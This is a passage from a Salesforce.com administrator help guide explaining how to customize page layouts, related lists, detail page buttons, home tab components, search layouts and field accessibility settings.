To customize page layouts: “Customize Application”
To view page layouts: “View Setup”

When using the enhanced page layout editor, note the following:

• Some elements can only be moved to certain locations on the page layout.
• Elements that are already on the page layout still appear on the palette but are inactive. When you click an inactive element
on the palette, Salesforce.com highlights the element on the page layout.
• When you select a category of elements on the palette, such as Related Lists or Custom Links, Salesforce.com jumps to
the part of the page layout where you can add those elements.
• The following table describes which browsers support the enhanced page layout editor:

Browser Notes
Mozilla Firefox version 3.0 Firefox users with the “Customize Application” permission
must have version 3.0.x to view and edit page layouts.
Note: Users with the “View Setup and
Configuration” permission can view but not edit
page layouts using Firefox version 2.

1026
Customize Overview of Page Layouts and Field-Level Security

Microsoft® Internet Explorer versions 6.0, 7.0, and 8.0 Internet Explorer 6 does not perform well with advanced
Web interfaces such as the enhanced page layout editor.
Salesforce.com strongly recommends upgrading to Mozilla
Firefox version 3.0, Apple® Safari version 3.2, or Internet
Explorer 8.0.
Important: Using Internet Explorer with the
Internet Explorer Developer Toolbar impacts the
performance of the enhanced page layout editor.
Disable the toolbar before using the enhanced page
layout editor as follows:

1. In Internet Explorer, navigate to Tools ➤


Internet Options... ➤ Programs.
2. Click Manage Add-ons....
3. Select IE Developer Toolbar and IE
Developer Toolbar BHO, and choose the
Disable option.
4. Close all Internet Explorer windows and restart
the browser.

Apple® Safari version 3.2

• If the original page layout editor is enabled, users can click on the page layout name to access the detail page of the page
layout. The enhanced page layout editor does not have detail pages, as all the detail page functionality is always available
on the enhanced editor. Salesforce.com displays a read-only version of the enhanced page layout editor to users with the
“View Setup” permission.
Note: The read-only view of the page layout does not display field types and lengths in hover details.

• Some standard objects have checkboxes that are specific to page layouts for that object. The following table lists those
standard object checkboxes. To configure how Salesforce.com displays the checkboxes, click Layout Properties when
customizing the page layout. Use the Select by default checkbox associated with a checkbox if you want Salesforce.com
to automatically select the option when a user accesses the edit page.

Object Checkboxes
Case - Case assignment checkbox — Displays the
Assign using active assignment rules
checkbox on case edit pages.
- Email notification checkbox — Displays the
Send notification email to contact checkbox
on case edit pages.

Case Close - Solution information section — Displays the


solution information section on the case close edit pages.

1027
Customize Overview of Page Layouts and Field-Level Security

- Notify Contact — Displays the Notify Contact


checkbox on case close edit pages.

Lead Lead assignment checkbox — Displays the Assign


using active assignment rule checkbox appears on
the lead edit page.
Person Account "Run territory assignment rules on save"
checkbox — Displays the Run territory assignment
rules on save checkbox appears on the person account
edit page.
Task Email notification checkbox — Displays the Send
Notification Email checkbox appears on the task edit
page.
Note: A user's personal preference for defaulting
the state of the checkbox takes precedence over the
organization-wide setting. For more information,
see Creating Tasks on page 133.

• The Custom Links, Custom S-Controls, and Visualforce Pages categories only appear in the palette if you have defined
those types of elements for the object for which you are defining a page layout.
• Page layouts for the user object only include custom fields, custom links, s-controls, and Visualforce pages. Tagging, related
lists, custom buttons, and standard field customizations are not included on page layouts for the user object. Also, field-level
security is only available for custom fields on the user object.
• If a dependent lookup is above its controlling field on a page layout, make its lookup filter optional or redesign the page
layout. Seeing a required dependent lookup above its controlling field on a page layout may confuse users who typically
start from the top of the page when entering data.
• You can define mini page layouts for the user object; however, you cannot add standard fields or related lists. Also, a
customized mini page layout will not display in the console. For more information, see Defining Mini Page Layouts on
page 2368.
• When editing a person account page layout:
- If you add Shipping Address next to Billing Address in the Address Information section, a link will display
on the person account edit page that allows you to copy the billing address to the shipping address. Also, an equivalent
link appears if you add Other Address to the Address Information section.
- Contact fields and related lists are available on person account page layouts. However, contact custom links and custom
buttons are not available.

• Salesforce.com recommends creating no more than 200 page layouts. While there is no limit, organizations may have
difficulty managing their page layouts if they exceed 200.

1028
Customize Overview of Page Layouts and Field-Level Security

• Salesforce.com gives administrators the option to view a short video tutorial the first time they access the enhanced page
layout editor. This video is also available from the Video Tutorial link next to the Help for this Page link in the editor.

See Also:
Enhanced Page Layout Editor User Interface Elements
Customizing Page Layouts with the Enhanced Page Layout Editor

Customizing Page Layouts with the Original Page Layout Editor

Available in: All Editions

User Permissions Needed


To customize page layouts: “Customize Application”

The original page layout editor allows you to customize your organization’s page layouts for detail and edit pages in
Salesforce.com, the Self-Service Portal, and the Salesforce.com Customer Portal.
Note: Salesforce.com recommends using the enhanced page layout editor instead of the original page layout editor.
For more information, see Customizing Page Layouts with the Enhanced Page Layout Editor on page 1016.

To customize page layouts using the original page layout editor:

1. For standard object page layouts, select Setup ➤ Customize, select the object, and choose Page Layouts. For custom
object page layouts, select Setup ➤ Create, select the object, and scroll to the Page Layouts section.
2. In Enterprise, Unlimited, and Developer Edition organizations, click Edit next to the page layout you want to customize.
In all other editions, click Edit at the top of the page.
3. If tags are enabled in your organization, specify whether personal and public tags should be included in the header section
of the page layout. Users cannot tag a record if neither personal nor public tags are included in the header section:

• To add personal or public tags to the page layout, select Header Items from the View drop-down list, and then drag
the Personal Tags or Public Tags items to the Header Section of the layout. Note that you cannot change the order in
which personal and public tags appear when both are in the Header Section at the same time.
• To remove tags from the page layout, drag the Personal Tags and Public Tags items from the Header Section of the
page layout to the area under the View drop-down list.

For more information, see About Tagging on page 336.


4. To customize buttons, double-click the Detail Page Buttons item in the Button Section.

• To hide any standard button, deselect the checkbox next to the button name.
• To add or remove a custom button, select the button in the Available Buttons list, and click Add or Remove.
• Sort custom buttons by selecting them and clicking Up or Down.
• To undo your customizations and restore default settings, click Revert to Defaults.
• Click OK to close the popup when you are done.

1029
Customize Overview of Page Layouts and Field-Level Security

5. To arrange fields, custom s-controls, Visualforce pages, custom links, and related lists on the layout, select one or more
items from the box on the right and drag them to the desired location. You can add up to 20 s-controls, 20 Visualforce
pages, and 100 related lists on a page layout. There are no limits on fields and custom links.

• Use CTRL+click to select multiple items individually.


• Use SHIFT+click to select multiple items as a group.

Note:

• You can add a Visualforce page to a page layout only if the standard controller on the Visualforce page is set
to the object for which you are creating the page layout. If you do not have any Visualforce pages with a standard
controller set to that object, the Visualforce Pages category does not appear in the palette.
• Items that are not in the page layout are displayed in the scrolling box on the right-hand side.
• Use the legend to determine what fields are required, dependent, controlling, or have other attributes that may
affect your page layout decisions.

6. To set which fields are required and read only, select one or more fields and click Edit Properties.

• The field properties of some standard fields cannot be changed. Custom fields can only be changed if they are not
universally required fields.
• Fields marked as read only are always editable by administrators and users with the “Edit Read Only Fields” permission.
• If you make a picklist field read only, all new records will contain the default value for that picklist.
• Auto-number fields are always read only.
• If you mark the opportunity Probability field as read only, the Probability value will still be updated automatically
when a user changes the Stage value of an opportunity.
• In Enterprise, Unlimited, and Developer Editions, field-level security settings override any field properties you set here
if the field-level security is more restrictive than the page layout setting. See Setting Field-Level Security on page 540.

7. To change the properties of an s-control or Visualforce page, double click it and set the following attributes:

• Width sets the horizontal size in pixels or a percent.


• Height sets the vertical size in pixels.
• Show scrollbars determines whether the iFrame in which the s-control displays contains scrollbars when necessary.
• Show label determines whether the page layout includes the Label of the custom s-control. Remove the label to
display the custom s-control in a wider area.

8. To organize the page using sections, click Edit next to an existing page section, or click Create New Section to create a
new page section.

• Enter a name for the section. Note that names of some standard page sections cannot be changed.
• Set whether the section should have one or two columns.
• Set the order in which users will be able to tab through the items in that section.
• Set whether the section name should be shown on the detail and edit pages.

9. To customize the related lists on the page layout, double-click the related list in the Related List Section.

• Select one or more fields and use the arrows to add or remove the fields to the related list columns on the page layout,
and to define the order in which the related list columns display. You can include up to 10 fields per related list.
• Use CTRL+click to select multiple fields individually.
• Use SHIFT+click to select multiple fields as a group.

1030
Customize Overview of Page Layouts and Field-Level Security

• Select a field from the Sort By drop-down list to sort the items in the related list, which will be displayed in ascending
order unless you select Descending. The default sort order varies per record. The Sort By drop-down is not available
for activities and opportunity products.
• If necessary, select additional page layouts to apply your related list customizations to.
• Select or deselect the checkbox next to any standard button name to customize which standard buttons display in the
related list.
• To customize which custom buttons display in the related list, select the button and click Add or Remove. Sort custom
buttons by selecting them and clicking Up or Down.
Note: To create a custom button for the related list, see Defining Custom Buttons and Links on page 990. The
custom button must be defined for the object contained in the related list, instead of the parent object, and the
button Type must be List Button. For example, to display a custom button on the Contacts related list of an
account, define the custom button for contacts, not accounts.

Some related lists are not customizable because they link to data rather than store it. You can move your cursor over any
related list section to see if it is customizable. Also, lookup fields are not available for display on their corresponding lookup
related list. For example, the case lookup field on an account page layout is not available when editing the cases related
list.
Note: You can also enable related list hover links for your organization so that record detail pages include links
for each related list at the top of the page. Users can hover the mouse over a related list hover link to display the
corresponding related list in an interactive overlay that allows users to quickly view and manage the related list
items. Users can also click a related list hover link to jump down to the content of the related list without having
to scroll down the page. To enable related list hover links, see Customizing User Interface Settings on page 1247.

10. Select the Overwrite users’ personal related list customization to apply the related lists in the page
layout to all users, even if they have already customized their display.
11. Click Preview to review the page layout. From the preview in Enterprise, Unlimited, and Developer Editions, select a
profile to see how the pages will look for users with different profiles. Note that most related lists’ columns preview without
data.
12. Click Save to finish. Alternatively, click Quick Save to save and continue editing the page layout.

Professional, Enterprise, Unlimited, and Developer Edition organizations can also click:

• Mini Console View to choose which related records display in the console's mini view.
• Mini Page Layout to define the mini page layouts of the records that appear in the mini view of the console.

Note: You cannot define mini console views or mini page layouts for the Close Case Layout or the Log a Case Page
and View Cases Page layouts on the Self-Service Portal.

In Enterprise, Unlimited, and Developer Editions, you can now assign which page layouts to display for different profile and
record type combinations (see Assigning Page Layouts on page 1036). You can also set field-level security to restrict field access
further (see Setting Field-Level Security on page 540).

Notes on Page Layouts


• When customizing page layouts for tasks, you can select the following checkboxes:
- Show Task Email Notification checkbox controls whether the Send Notification Email checkbox
displays when users create or edit a task.

1031
Customize Overview of Page Layouts and Field-Level Security

- Select Task Email Notification checkbox by default controls whether the Send Notification
Email checkbox is selected by default when users create or edit a task. Note that a user's personal preference for
defaulting the state of the checkbox takes precedence over the organization-wide setting. For more information, see
Creating Tasks on page 133.

• When customizing page layouts for cases, you can select the following checkboxes:
- Case assignment checkbox to display the Assign using active assignment rules checkbox on case
edit pages.
- Email notification checkbox to display the Send notification email to contact checkbox on case
edit pages.

• Page layouts for the user object only include custom fields, custom links, s-controls, and Visualforce pages. Tagging, related
lists, custom buttons, and standard field customizations are not included on page layouts for the user object. Also, field-level
security is only available for custom fields on the user object.
• You can define mini page layouts for the user object; however, you cannot add standard fields or related lists. Also, a
customized mini page layout will not display in the console. For more information, see Defining Mini Page Layouts on
page 2368.
• In the organization-wide import wizards for accounts, contacts, and leads, administrators have access to import into any
field, even if a field is hidden or read only in their page layout or field-level security settings. Individual users can import
only into the fields that are accessible to them via their page layout or field-level security settings.
• In Personal, Contact Manager, Group, and Professional Editions, page layouts control which fields users can access in
related lists, list views, reports, Connect Offline, email and mail merge templates, custom links, and when synchronizing
data. In Enterprise, Unlimited, and Developer Editions, this access is controlled by field-level security.
• For information on setting which fields display for users in search results, see Customizing Search Layouts on page 1044.
• In Professional, Enterprise, Unlimited, and Developer Edition, individual users can customize which tabs and related lists
display for their personal use. See Customizing Your Display on page 34.
• When editing a person account page layout:
- If you add Shipping Address next to Billing Address in the Address Information section, a link will display
on the person account edit page that allows you to copy the billing address to the shipping address. Also, an equivalent
link appears if you add Other Address to the Address Information section.
- Contact fields and related lists are available on person account page layouts. However, contact custom links and custom
buttons are not available.

• Some items can only be moved to certain sections on the page layout. For example, you can drag a custom s-control to any
field section on the page layout but not a Related List Section or Button Section.
• Create the appropriate buttons before editing your page layout. For example, create an account custom button for the detail
page and a contact custom list button before putting them both on an account page layout. For implementation tips and
best practices on custom buttons, see Custom Button Considerations.

1032
Customize Overview of Page Layouts and Field-Level Security

• If you use the original page layout editor to view a page layout that was created in the new page layout editor, the original
page layout editor will show any blank spaces you added. You cannot move or add blank spaces in the original page layout
editor, but you can remove them by dragging them to the box on the right.

See Also:
Customizing Page Layouts with the Enhanced Page Layout Editor
Customizing Related Lists
Managing Page Layouts
Overview of Page Layouts and Field-Level Security
Restricting Price and Quantity Editing on Opportunity Products
Editing Multi-Line Layouts for Opportunity Products
Setting Up Your Customer Portal

Customizing Detail Page Buttons

Available in: All Editions

User Permissions Needed


To customize detail page buttons: “Customize Application”

When customizing page layouts, you can control which standard and custom buttons are displayed and the order in which
the custom buttons are shown. To customize the buttons on record detail pages:

1. Click Setup ➤ Customize, select the appropriate activity or tab link, and choose the Page Layouts link.
For custom objects, click Setup ➤ Create ➤ Objects, and select the desired custom object.
2. Click Edit next to the page layout you want to customize.
3. Do one of the following:

• In the original page layout editor, double-click the Detail Page Buttons item in the Button Section.

- To hide any standard button, deselect the checkbox next to the button name.
- To add or remove a custom button, select the button in the Available Buttons list, and click Add or Remove.
- Sort custom buttons by selecting them and clicking Up or Down.
- To undo your customizations and restore default settings, click Revert to Defaults.
- Click OK to close the popup when you are done.

• In the enhanced page layout editor, select the Buttons category on the palette and drag one or more buttons from the
palette to the buttons section on the page layout. Standard buttons must go in the standard buttons area, and custom
buttons must go in the custom buttons area. To remove a standard or custom button from the page layout, drag the
button to the palette.

4. Click Save on the page layout.

1033
Customize Overview of Page Layouts and Field-Level Security

5. Click Save.

See Also:
Customizing Page Layouts
Overriding Standard Buttons and Tab Home Pages
Defining Custom Buttons and Links

Customizing Related Lists

Available in: All Editions

User Permissions Needed


To customize related lists: “Customize Application”

To customize the buttons, columns displayed, column order, and record sort order of related lists on record detail pages in
Salesforce.com and the Salesforce.com Customer Portal:

1. Access the page layout editor.


2. Double-click a related list on the layout to edit it. If you are using the enhanced page layout editor, you can also click the
wrench icon ( ).
3. To customize the fields that display in the related list:

• Select one or more fields and use the arrows to add or remove the fields to the related list columns on the page layout,
and to define the order in which the related list columns display. You can include up to 10 fields per related list.
• Use CTRL+click to select multiple fields individually.
• Use SHIFT+click to select multiple fields as a group.
• Select a field from the Sort By drop-down list to sort the items in the related list, which will be displayed in ascending
order unless you select Descending. The default sort order varies per record. The Sort By drop-down is not available
for activities and opportunity products.
• If necessary, select additional page layouts to apply your related list customizations to. Only layouts that include this
related list appear in the list. Layouts that include related lists with the same customizations as the current layout had
when you opened are selected by default.

Lookup fields are not available for display on their corresponding lookup related list. For example, the case lookup field
on an account page layout is not available when editing the cases related list.
4. To customize which standard buttons display in the related list, select or deselect the checkbox next to any standard button
name.
Note: To view the buttons in the enhanced page layout editor, click the plus sign in the Buttons section.

5. To customize which custom buttons display in the related list:

• To add or remove a custom button, select the button and click Add or Remove.

1034
Customize Overview of Page Layouts and Field-Level Security

• Sort custom buttons by selecting them and clicking Up or Down.

To create a custom button for the related list, see Defining Custom Buttons and Links on page 990. The custom button
must be defined for the object contained in the related list, instead of the parent object, and the button Type must be List
Button. For example, to display a custom button on the Contacts related list of an account, define the custom button for
contacts, not accounts.
6. If necessary, click Revert to Defaults to undo any customizations and use the default Salesforce.com settings in the related
list.
7. Click OK to store your customizations. Changes are not saved until you click Save on the page layout.
8. Select the Overwrite users’ personal related list customization to apply the related lists in the page
layout to all users, even if they have already customized their display.
9. Click Preview to review the page layout. From the preview in Enterprise, Unlimited, and Developer Editions, select a
profile to see how the pages will look for users with different profiles.
10. Click Save.

Note: You can also enable related list hover links for your organization so that record detail pages include links for
each related list at the top of the page. Users can hover the mouse over a related list hover link to display the
corresponding related list in an interactive overlay that allows users to quickly view and manage the related list items.
Users can also click a related list hover link to jump down to the content of the related list without having to scroll
down the page. To enable related list hover links, see Customizing User Interface Settings on page 1247.

See Also:
Overview of Page Layouts and Field-Level Security
Creating a Many-to-Many Relationship

Editing Multi-Line Layouts for Opportunity Products

Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To edit multi-line layouts for opportunity products: “Customize Application”

You can customize the columns that display when you click Edit All in the Products related list of an opportunity detail page.

1. Click Setup ➤ Customize ➤ Opportunities ➤ Opportunity Products ➤ Page Layouts.


2. Click the name of an opportunity product page layout.
3. Click Edit Multi-Line Layout.
4. As necessary, move fields from the Available Fields list to the Selected Fields list:

• Select one or more fields and use the Add and Remove arrows to move them between the lists. Also, click the Up and
Down arrows to change the order of the Selected Fields list.
• Use CTRL+click to select multiple fields individually.
• Use SHIFT+click to select multiple fields as a group.

1035
Customize Overview of Page Layouts and Field-Level Security

5. Click Save to apply your changes.

Deleting Page Layouts


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To delete page layouts: “Customize Application”

To delete a page layout:

1. Select Setup ➤ Customize, select the appropriate activity or tab link, and choose the Page Layouts link.
2. Click Del next to the page layout name.
When a page layout is deleted, its mini page layout is also deleted.
3. Choose another page layout to replace the deleted layout for any profile and record type combinations. Users with those
profiles and record types will see the new page layout.
4. Click Replace.

See Also:
Managing Page Layouts
Overview of Page Layouts and Field-Level Security
Setting Up the Console

Assigning Page Layouts


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To assign page layouts: “Manage Users”

After defining page layouts, assign which page layouts users see. A user’s profile determines which page layout he or she sees.
In addition, if your organization is using record types for a particular tab, the combination of the user’s profile and the record
type determine which page layout is displayed.
To assign page layouts:

1. Click Setup ➤ Customize, select the appropriate activity or tab link, and choose Page Layouts or Record Types.
Alternatively, select Setup ➤ Manage Users ➤ Profiles, and select a profile name.

1036
Customize Overview of Page Layouts and Field-Level Security

2. From the page layout or record type list page, click Page Layout Assignment. From the profile, click View Assignment
next to any tab name in the Page Layouts section.
3. Click Edit Assignment.
4. Use the table to specify the page layout for each profile. The table displays the page layout assignments for each profile. If
your organization uses record types, a matrix displays a page layout selector for each profile and record type.
When selecting page layout assignments:

• Click a cell, column, or row heading to select all the table cells in that column or row.
• Press SHIFT+click to select multiple adjacent table cells, columns, or rows.
• Press CTRL+click to select multiple nonadjacent table cells, columns, or rows.
• Click any cell and drag to select a range of cells.
• Click Next or Prev to view another set of record types.

Tip: Selected page layout assignments are highlighted. Page layout assignments you change are italicized until
you save your changes.

5. If necessary select another page layout to assign from the Page Layout To Use drop-down list and repeat the previous
step for the new page layout.
6. Click Save.

To verify that users have the correct access to fields based on the page layout and field-level security, you can check the field
accessibility grid; see About Field Accessibility on page 1037.

See Also:
Managing Page Layouts
Managing Profiles
Managing Record Types
Overview of Page Layouts and Field-Level Security

About Field Accessibility


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view field accessibility: “View Setup and Configuration”
To change field accessibility: “Customize Application”
AND
“Manage Users”

Several factors help control whether users can view and edit specific fields in Salesforce.com.

• Page layouts—You can set whether fields are visible, required, editable, or read only.

1037
Customize Overview of Page Layouts and Field-Level Security

• Field-level security—You can further restrict users’ access to fields by setting whether those fields are visible, editable, or
read only. These settings override any field properties set in the page layout if the field-level security setting is more
restrictive.
Important: Field-level security doesn't prevent searching on the values in a field. To prevent users from searching
and retrieving records that match a value in a field hidden by field-level security, contact salesforce.com Customer
Support for assistance with setting up your organization to prevent unwanted access to those field values.

• Permissions on profiles—Some user permissions on profiles override both page layouts and field-level security settings.
For example, users with the “Edit Read Only Fields” permission can always edit read-only fields regardless of any other
settings. Note that the field accessibility grid includes any field access restrictions based on permissions.
• Universally required fields—A custom field can be made universally required, which overrides any less-restrictive settings
on page layouts or field-level security.

After setting these items, you can confirm users’ access to specific fields using the field accessibility grid.

Checking Field Accessibility for a Particular Field

Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view field accessibility: “View Setup and Configuration”

1. Navigate to the fields area of the appropriate object:

• For standard objects, click Setup ➤ Customize, select the appropriate object from the Customize menu, and click
Fields.
• For custom task and event fields, click Setup ➤ Customize ➤ Activities ➤ Activity Custom Fields.
• For standard task and event fields, click Setup ➤ Customize ➤ Activities, then click Task Fields or Event Fields.
• For custom objects, click Setup ➤ Create ➤ Objects, and select one of the custom objects in the list.

2. Select a field and click View Field Accessibility.


3. Confirm that the field access is correct for different profiles and record types.
4. Hover your mouse over any field access setting to see whether the field is required, editable, hidden, or read only based on
the page layout or field-level security.
5. Click any field access setting to change the field’s accessibility in the page layout or in field-level security.

For advanced options to check field accessibility by a specific profile, record type, or field, click Setup ➤ Security Controls
➤ Field Accessibility. From this page, you need to choose a particular tab to view and then select whether you want to check
access by profiles, record types, or fields.
Important: Field-level security doesn't prevent searching on the values in a field. To prevent users from searching
and retrieving records that match a value in a field hidden by field-level security, contact salesforce.com Customer
Support for assistance with setting up your organization to prevent unwanted access to those field values.

1038
Customize Overview of Page Layouts and Field-Level Security

Modifying Field Access Settings

Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view field accessibility: “View Setup and Configuration”
To change field accessibility: “Customize Application”
AND
“Manage Users”

From the field accessibility grid, you can click any field access setting to change the field’s accessibility in the page layout or
in field-level security. The Access Settings page then lets you modify the field access settings.

• In the Field-Level Security section of the page, specify the field's access level for the profile.

Access Level Enabled Settings


Users can view and edit the field. Visible
Users can view but not edit the field. Visible and Read-Only
Users can't view or edit the field. None

We recommend that you use field-level security to control users’ access to fields rather than creating multiple page layouts
to control field access.
• In the Page Layout section of the page, you can:

- Select the Remove or change editability radio button and then change the field access properties for the page
layout. These changes will affect all profile and record type combinations that currently use this page layout.
- Alternatively, you can select the Choose a different page layout radio button to assign a different page layout
to the profile and record type combination.

See Also:
Overview of Page Layouts and Field-Level Security
Managing Page Layouts
Setting Field-Level Security
Object Permissions on Profiles
Administrative and General Permissions on Profiles

1039
Customize Overview of Page Layouts and Field-Level Security

Customizing Home Tab Page Layouts


Available in: All Editions

User Permissions Needed


To view home page layouts: “Customize Application”
To create or change home page layouts: “Customize Application”

You can customize the Home tab to include components such as sidebar links, a company logo, or a dashboard snapshot. A
dashboard snapshot is a clipping of the top row of a dashboard’s components. Just like other tabs, you can also assign different
home page layouts to different users based on profile.
Alternatively, a custom home page layout can contain only the components that show up in the sidebar. You can determine
if custom sidebar components appear only on the Home tab or on all Salesforce.com pages.
To start customizing your home page layouts, see:

• Defining Home Tab Components on page 1040


• Designing Home Tab Page Layouts on page 1042
• Assigning Home Tab Page Layouts to Profiles on page 1043

Defining Home Tab Components

Available in: All Editions

User Permissions Needed


To create or change home page layouts: “Customize Application”

Home page layouts contain standard components, such as Recent Items and Messages & Alerts, and any custom components
you create. You can create custom components such as a logo; see Creating Custom Components on page 1041. Additionally,
you can edit some standard components; see Editing Components on page 1040.

Editing Components
1. Click Setup ➤ Customize ➤ Home ➤ Home Page Components.
2. Click Edit next to the component you want to edit. If there is no Edit link next to a component, it is read only.
3. Make any changes.
• When editing the standard Messages & Alerts component, enter the text you want to display to users. If entering
HTML code for your message, make sure it is self-contained, well-formed HTML.
• When editing the Custom Links component, enter the link text to display to users in the Bookmark field. In the URL
field, enter the complete website address, such as http://www.yahoo.com. To link to a Salesforce.com page, such

1040
Customize Overview of Page Layouts and Field-Level Security

as a frequently-viewed report, enter only the part of the URL after salesforce.com, for example,
/00Ox0000000esq4. These links always open within the main Salesforce.com window, not in a popup window.
Note: The standard home page Custom Links component is a quick way to add links to the sidebar, but it
does not support merge fields, functions (such as the URLFOR function), executing JavaScript, or customizable
window opening properties. If you need this additional functionality:
a. Click Setup ➤ Customize ➤ Home ➤ Custom Links, and create your home page custom links on that
page.
b. Click Setup ➤ Customize ➤ Home ➤ Home Page Components, and create a custom home page
component of type Links on that page that includes the custom links created in the first step. See Creating
Custom Components. Note that creating a custom home page component for your links does not change
the visual styling for your end users.

4. Click Save.
Next, add the component to a home page layout; see Designing Home Tab Page Layouts on page 1042.

Creating Custom Components


If you are creating custom link components, define your Home tab custom links first; see Setting Custom Buttons and Links
on page 989. If you are creating an image component, upload your image to the Documents tab first. For information on
uploading your files to the Documents tab, see Uploading and Replacing Documents on page 201.
1. Click Setup ➤ Customize ➤ Home ➤ Home Page Components.
2. Click New.
3. Enter a name for the component. For custom links, this name displays as the section heading in the sidebar on the Home
tab.
4. Choose the type of component.
5. Click Next.
• For links, select the appropriate custom links and click Add.
• For images, click Insert an image, choose the document folder, and select the image file. Note that the image file must
be in a public folder and the Externally Available checkbox must be selected on the document's properties so
that users can view the image.
• For HTML area, choose where to display the component, in either the wide or narrow column, and enter your text,
image, or links in the box below.
Note: Components in the narrow column display in the sidebar. They do not display in the sidebar on other
pages within Salesforce.com unless you specify that in your user interface settings or by assigning the “Show
Custom Sidebar On All Pages” permission at the profile level. To change your user interface settings, see
Customizing User Interface Settings on page 1247. For information on profile permissions, see Administrative
and General Permissions on Profiles on page 475.

For instructions on using the HTML format toolbar, see Using the Format Toolbar on page 431.

6. Click Save.
Next, add the component to a home page layout; see Designing Home Tab Page Layouts on page 1042.

1041
Customize Overview of Page Layouts and Field-Level Security

Tip: Keep your image size smaller than 20 KB for optimum performance. If your image is too large to fit in the insert
window, use an image editor to resize the image. Save your image in gif or jpeg format to reduce file size.

See Also:
Designing Home Tab Page Layouts
Assigning Home Tab Page Layouts to Profiles

Designing Home Tab Page Layouts

Available in: All Editions

User Permissions Needed


To view home page layouts: “Customize Application”
To create or change home page layouts: “Customize Application”

After creating the components you want displayed on the Home tab, begin designing your home page layouts. Initially, all
users, including Salesforce.com Customer Portal users, are assigned to the Home Page Default layout. After designing your
own home page layout, assign users to it; see Assigning Home Tab Page Layouts to Profiles on page 1043.

1. Click Setup ➤ Customize ➤ Home ➤ Home Page Layouts.


2. To create a new page layout, click New. To create a layout cloned from an existing layout, select the layout you want to
copy and click Clone.
3. Enter a Page Layout Name for the new layout.
4. Click Save.
5. Select the components you want displayed on the new page layout. Consider the following:

• The components you select for the narrow column display in the sidebar. They do not display in the sidebar on other
pages within Salesforce.com unless you specify that in your user interface settings. To change your user interface settings,
see Customizing User Interface Settings on page 1247. If you only want certain profiles to view sidebar components on
all pages, you can assign those profiles the “Show Custom Sidebar On All Pages” permission.
• Select Approval Requests to add the Items To Approve component to a home page layout.
• Select Article Search to add the Find Articles component to a home page layout. This component is only available
for Salesforce Knowledge users.
• When you select Dashboard Snapshot as a component to show on a home page layout, Salesforce.com displays the
last dashboard the user accessed. Give users instructions on changing the dashboard themselves; see Customizing Your
Display on page 34. Users can view a dashboard snapshot on their Home tab if they have access to at least one dashboard.
See Refreshing Dashboard Data on page 2203.
Tip: When designing home page layouts for your Customer Portal, we recommend adding the following
components: Search, Solution Search, Recent Items, Customer Portal Welcome; and a custom HTML Area
component that includes your corporate branding in the wide column.

1042
Customize Overview of Page Layouts and Field-Level Security

6. Click Next.
7. Arrange the selected components in the desired columns. Select the component and use the arrow keys to move it.
8. Optionally, click Preview to display the home page layout.
9. Click Save & Assign to save the page layout and assign it to a profile.

See Also:
Customizing Home Tab Page Layouts
Defining Home Tab Components
Assigning Home Tab Page Layouts to Profiles
Setting Up Your Customer Portal

Assigning Home Tab Page Layouts to Profiles

Available in: All Editions

User Permissions Needed


To assign home page layouts: “Customize Application”

Your home page layouts are only visible to users after you assign them to a user profile.

1. Click Setup ➤ Customize ➤ Home ➤ Home Page Layouts.


2. Click Page Layout Assignment.
3. Click Edit Assignment.
4. Choose the appropriate page layout for each profile.
5. Click Save.

Tip: Notify users how to customize their dashboard settings on their Home tab by clicking Setup ➤ My Personal
information ➤ Change My Display and choosing the link for Home. See Customizing Your Display on page 34.

See Also:
Defining Home Tab Components
Designing Home Tab Page Layouts
Changing Your Home Tab Dashboard

1043
Customize Overview of Page Layouts and Field-Level Security

Customizing Search Layouts


Available in: All Editions

User Permissions Needed


To change search layouts: “Customize Application”

Customize which fields display for users in search results, search filter fields, lookup dialogs, the recent records lists on tab
home pages, and in lookup phone dialogs for Salesforce CRM Call Center. You can specify a different set of fields to show
in each search layout. The settings apply to all users in your organization and Salesforce.com Customer Portal.
Additionally, customize which buttons display in custom list views and search results. You can hide a standard list view button
or display a custom button. Standard buttons are not available on search result layouts. To display a custom button, create the
custom button and give it a “List Button” Display Type.

1. Click Setup ➤ Customize, select the appropriate activity or tab link, and choose the Search Layouts link.
2. Click Edit next to the layout you want to customize. You can specify a different set of items to display for search results,
lookup dialogs, recent records lists on tab home pages, lookup phone dialogs, list views, and search filter fields.
3. For list view and search results layouts, select any standard or custom buttons you want to display. To hide a standard
button on the list view, deselect it. Standard buttons are not available on search result layouts.
4. Use the arrows to add or remove items from the layout, and to define the order in which the fields should display. To select
more than one item, use CTRL+click or SHIFT+click to select multiple items in a range.

• Select one or more items in the available list and click Add to add them to the layout.
• Select one or more items in the selected list and click Remove to remove them from the layout.
• Select one or more items in the selected list and click Up to move them higher in the list.
• Select one or more items in the selected list and click Down to move them lower in the list.

Note: When editing a search results layout for an object, you can select the Override the search result
column customizations for all users checkbox. If selected, all user column customizations within your
organization will be overwritten and set to the organization-wide default settings.

5. Click Save.

Notes on Search Layouts


• Search layouts do not apply to Salesforce CRM Content. To search for files and Web links in Salesforce CRM Content,
see Searching for Content on page 282.
• Search layouts do not apply to campaign members.
• The search layout does not determine which fields are searched for keyword matches. See Search Fields on page 316 for a
list of which fields are searched.
• You can add up to 10 fields to each search layout.
• You cannot remove unique identifying fields, such as Account Name or Case Number, from the search layouts. These
fields must be listed first in the order of fields in the search layout.
• You cannot add long text fields such as Description, Solution Details, or custom long text area fields to search
layouts.

1044
Customize Overview of Page Layouts and Field-Level Security

• All fields are available to be added to the search layout even if some fields are normally hidden for the user customizing
the search layout.
• For Enterprise, Unlimited, and Developer Edition organizations, search layouts do not override field-level security. If a
field is included in the search layout but hidden for some users via field-level security, those users do not see that field in
their search results.
• For Personal, Contact Manager, Group, and Professional Edition organizations, search layouts override page layout settings.
If a field is included in the search layout but hidden in the page layout, that field will be visible in search results.
• The search results layouts for leads, accounts, contacts, and opportunities also apply to the search results displayed when
finding duplicate leads.
• Formula fields are not available in search result layouts.
• Do not remove the Phone field from any lookup phone dialogs search layout. If you do so, users will not be able to use
the directory search results to enter a phone number into a SoftPhone dial pad.
• To add a custom button to a list view or search layout, create the custom button for a standard or custom object, giving it
the “List Button” Display Type. The custom button will be available in the list view and search result layouts for that
object.
Tip: In account search results, you can visually differentiate business accounts from person accounts by adding the
Is Person Account field, which displays as the person account icon ( ).
